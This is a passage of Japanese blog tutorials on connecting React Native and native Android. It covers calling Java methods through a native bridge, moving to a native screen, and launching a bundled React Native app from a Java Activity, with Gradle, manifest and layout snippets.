      <Text style={styles.text}>React Nativeの画面です</Text>
      <Button  title="かわいい動物の名前" onPress={onPressExampleButton} />
    </View>
  );
}

const styles = StyleSheet.create({
  container: {
    flex: 1,
    justifyContent: 'center',
    alignItems: 'center',
  },
  text: {
    fontSize: 20,
    textAlign: 'center',
    margin: 30,
  },
})

ここで「かわいい動物の名前」ボタンを押すと、JavaScriptのコンソールでかわいい動物の名前が出力されるようにしたいです。 ネイティブブリッジを使うため、Javaにコードを書きます。

  • AndroidScreenPackage
package com.integratedandroidscreen;

import java.util.ArrayList;
import java.util.Collections;
import java.util.List;

import com.facebook.react.ReactPackage;
import com.facebook.react.bridge.NativeModule;
import com.facebook.react.bridge.ReactApplicationContext;
import com.facebook.react.uimanager.ViewManager;

public class AndroidScreenPackage implements ReactPackage {

    @Override
    public List<ViewManager> createViewManagers(ReactApplicationContext reactContext) {
        return Collections.emptyList();
    }

    @Override
    public List<NativeModule> createNativeModules(ReactApplicationContext reactContext) {
        List<NativeModule> modules = new ArrayList<>();
        modules.add(new AndroidScreenModule(reactContext));
        return modules;
    }
}
  • MainApplication.java
        protected List<ReactPackage> getPackages() {
            ...
            packages.add(new com.integratedandroidscreen.AndroidScreenPackage()); // ここだけ追加
            ...
          return packages;
        }

ビルドして実行すると、 ネイティブコードで記述したgetAnimalNameメソッドが呼ぶことができました。 かなり簡単なことしかしていませんが、以上がReact NativeからJavaコードを呼ぶ流れです。

Ⅱ. Androidの画面へ遷移

App.tsx

import React from 'react';
import { Text, Button, NativeModules, View, StyleSheet } from 'react-native';

const { AndroidScreen } = NativeModules;


export default function App() {

  const onPressExampleButton = () => {
    AndroidScreen.moveAndroidScreen();
  };

  return (
    <View style={styles.container}>
      <Text style={styles.text}>React Nativeの画面です</Text>
      <Button  title="Androidの画面へ遷移" onPress={onPressExampleButton} />
    </View>
  );
}

const styles = StyleSheet.create({
  container: {
    flex: 1,
    justifyContent: 'center',
    alignItems: 'center',
  },
  text: {
    fontSize: 20,
    textAlign: 'center',
    margin: 30,
  },
})

画面用のメソッドを追加 - AndroidScreenActivity.java

package com.integratedandroidscreen;

import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;

public class AndroidScreenActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_androidscreen);
    }
}
package com.integratedandroidscreen;

import java.util.HashMap;
import java.util.Map;

import android.content.Intent;
import androidx.annotation.NonNull;

import com.facebook.react.bridge.ReactApplicationContext;
import com.facebook.react.bridge.ReactContextBaseJavaModule;
import com.facebook.react.bridge.ReactMethod;
import com.facebook.react.bridge.Callback;
import com.facebook.react.bridge.Promise;
import com.facebook.react.bridge.WritableMap;
import com.facebook.react.bridge.Arguments;
import com.facebook.react.modules.core.DeviceEventManagerModule;

public class AndroidScreenModule extends ReactContextBaseJavaModule {

    private static final String REACT_CLASS = "AndroidScreen";
    private final ReactApplicationContext reactApplicationContext;

    public AndroidScreenModule(ReactApplicationContext reactApplicationContext) {
        super(reactApplicationContext);
        this.reactApplicationContext = reactApplicationContext;
    }

    @Override
    public String getName() {
        return "AndroidScreen";
    }

    private String animal = "panda"; // かわいい動物

    @ReactMethod
    public void getAnimalName(Callback callback) {
        callback.invoke(animal);
    }
}
  • AndroidScreenModule
// 以下メソッドを追記
@ReactMethod
    public void moveAndroidScreen() throws InterruptedException {
        Intent intent = new Intent();
        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        intent.setClassName(reactApplicationContext, "com.integratedandroidscreen.AndroidScreenActivity");
        reactApplicationContext.startActivity(intent);
    }

Manifestファイルに以下を追加

    <activity
            android:name="com.integratedandroidscreen.AndroidScreenActivity"
            android:label="@string/app_name">
     </activity>

画面レイアウト用にapp/res/layout/activity_androidscreen_xmlを追加

<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".AndroidScreenActivity">

    <TextView
        android:id="@+id/textView"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Androidの画面です"
        android:textSize="34sp"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toTopOf="parent" />

</androidx.constraintlayout.widget.ConstraintLayout>

gradleに以下を追加(レイアウト用に別途必要となったため)

implementation 'androidx.constraintlayout:constraintlayout:2.0.4'

ビルドして再実行することで、冒頭に示した画面遷移を実現することができました。

参考文献

blog.mitsuruog.info

AndroidからReact Nativeアプリ呼び出し(Java)

やりたいこと

既にあるReact NativeアプリをJavaかKotlinで呼び出して組み込みたいという需要があったときに、 どんな感じでやればいいかを試してみます。 (Java

実現したいこと

Java製の画面にボタンがあって、ボタンを押すとReact Nativeの画面に遷移するのをやりたいです。

React Nativeをbundle化

  1. React Nativeアプリを作成 teisyoku-tabetai.hatenablog.com

  2. React Nativeをbundle化

assetsフォルダがない場合は作成します。

mkdir android/app/src/main/assets

bundle化

npx react-native bundle --platform android --dev false --entry-file index.js --bundle-output android/app/src/main/assets/index.android.bundle --assets-dest android/app/src/main/res

index.android.bundleができていれば完了です。

React Native関連のモジュールの用意

ここのところの方法は、いろいろ試した挙句できなかったので、以下の参考文献の内容を記述させていただいています。

nishabe.medium.com

mkdir integratedReactNativeProject
cd integratedReactNativeProject && touch package.json

package.jsonの中身

{
  "name": "sampleReactApp",
  "version": "0.0.1",
  "private": true,
  "scripts": {
    "start": "yarn react-native start"
  }
}
npm i yarn
yarn add react-native

Androidプロジェクト作成 & React Nativeの依存関係を記述

  1. Android StudioAndroidプロジェクトを作成
    node_modulesと同階層に移動させる。

  2. Androidプロジェクトに依存関係を記述

プロジェクト配下のbuild.gradle(appディレクトリと同階層)に以下を追記

allprojects {
    repositories {
        maven {
            // All of React Native (JS, Android binaries) is installed from npm
            url ("$rootDir/../node_modules/react-native/android")
        }
        maven {
            // Android JSC is installed from npm
            url("$rootDir/../node_modules/jsc-android/dist")
        }
        google()
        jcenter()

    }
}
  • app配下のbuild.gradleに以下を追記(※1)
dependencies {
    ...
    implementation "com.facebook.react:react-native:+" // From node_modules
    implementation "org.webkit:android-jsc:+"
}

apply from: file("../../node_modules/@react-native-community/cli-platform-android/native_modules.gradle");
applyNativeModulesAppBuildGradle(project)

(※1) implementation "com.facebook.react:react-native:+" について
わざわざnpmでReact Nativeを入れてnode_modulesから引っ張ってきてるのはmavenから取ってこれなかったため。(2023年3月現在) Gradleあまり詳しくないので、もっと良い方法がありそう... central.sonatype.com

  • gradle.propertiesに以下を追加
android.enableJetifier=true
  • settings.gradleに以下を追記(※2)
apply from: file("../node_modules/@react-native-community/cli-platform-android/native_modules.gradle"); 
applyNativeModulesSettingsGradle(settings)

(※2) プロジェクト配下のbuild.gradleにrepositoriesを追記したので、settings.gradleにもある場合はコメントアウト(二重で記述するとエラー)

3 起動用のActivityを追加

package com.example.myapplication; // プロジェクト名に応じて変更
import android.app.Activity;
import android.os.Bundle;
import android.view.KeyEvent;

import com.facebook.react.PackageList;
import com.facebook.react.ReactInstanceManager;
import com.facebook.react.ReactPackage;
import com.facebook.react.ReactRootView;
import com.facebook.react.common.LifecycleState;
import com.facebook.react.modules.core.DefaultHardwareBackBtnHandler;
import com.facebook.soloader.SoLoader;

import java.util.List;


public class MyReactActivity extends Activity implements DefaultHardwareBackBtnHandler {
    private ReactRootView mReactRootView;
    private ReactInstanceManager mReactInstanceManager;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        SoLoader.init(this, false);

        mReactRootView = new ReactRootView(this);
        List<ReactPackage> packages = new PackageList(getApplication()).getPackages();

        mReactInstanceManager = ReactInstanceManager.builder()
                .setApplication(getApplication())
                .setCurrentActivity(this)
                .setBundleAssetName("index.android.bundle")
                .setJSMainModulePath("index")
                .addPackages(packages)
                .setUseDeveloperSupport(BuildConfig.DEBUG)
                .setInitialLifecycleState(LifecycleState.RESUMED)
                .build();
        mReactRootView.startReactApplication(mReactInstanceManager, "sampleReactApp", null);  // (※3)

        setContentView(mReactRootView);
    }

    @Override
    public void invokeDefaultOnBackPressed() {
        super.onBackPressed();
    }

}

(※3) 元のReact Nativeプロジェクトのプロジェクト名に合わせる必要がある。プロジェクト名が分からなかったらindex.android.bundleから探せば行けるかもです。

4 Android Studioで実行
Android StudioからReact Nativeアプリを呼び出すことができました。
サンプル画面のロゴ画像が表示できていませんが、あまり気にしないこととします。

画面遷移を作る

  1. 先に表示させるAndroid画面用のアクティビティを作成

MainActivity.java

package com.example.myapplication;

import androidx.appcompat.app.AppCompatActivity;

import android.content.Intent;
import android.os.Bundle;
import android.widget.Button;
import android.widget.TextView;

public class MainActivity extends AppCompatActivity {

    private TextView textView;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Button button = findViewById(R.id.button);

        textView = findViewById(R.id.text_view);

        button.setOnClickListener( v -> {
                this.onClick();
        });
    }

    public void onClick() {
        Intent intent = new Intent();
        intent.setClassName(getApplicationContext(), "com.example.myapplication.MyReactActivity");
        startActivity(intent);
    }
}

2 MainActivity用のActivityを追加

<activity
            android:name=".MainActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity
            android:name=".MyReactActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

3 app/src/main/res/layoutのactivity_main.xmlを編集

<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".MainActivity">

    <TextView
        android:id="@+id/text_view"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Androidアプリ"
        android:textSize="34sp"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintHorizontal_bias="0.497"
        app:layout_constraintLeft_toLeftOf="parent"
        app:layout_constraintRight_toRightOf="parent"
        app:layout_constraintTop_toTopOf="parent"
        app:layout_constraintVertical_bias="0.281" />

    <Button
        android:id="@+id/button"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:background="#42CC47"
        android:backgroundTint="#4CAF50"
        android:text="React Nativeアプリへ遷移"
        android:textColorHint="#FFFFFF"
        android:textColorLink="#FFFFFF"
        android:textSize="16sp"
        app:iconTint="#4CAF50"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintHorizontal_bias="0.496"
        app:layout_constraintLeft_toLeftOf="parent"
        app:layout_constraintRight_toRightOf="parent"
        app:layout_constraintTop_toTopOf="parent"
        app:layout_constraintVertical_bias="0.6"
        app:rippleColor="#4CAF50" />

</androidx.constraintlayout.widget.ConstraintLayout>

以上の手順で、冒頭に示したような、AndroidからReact Nativeへの画面遷移を実現できました。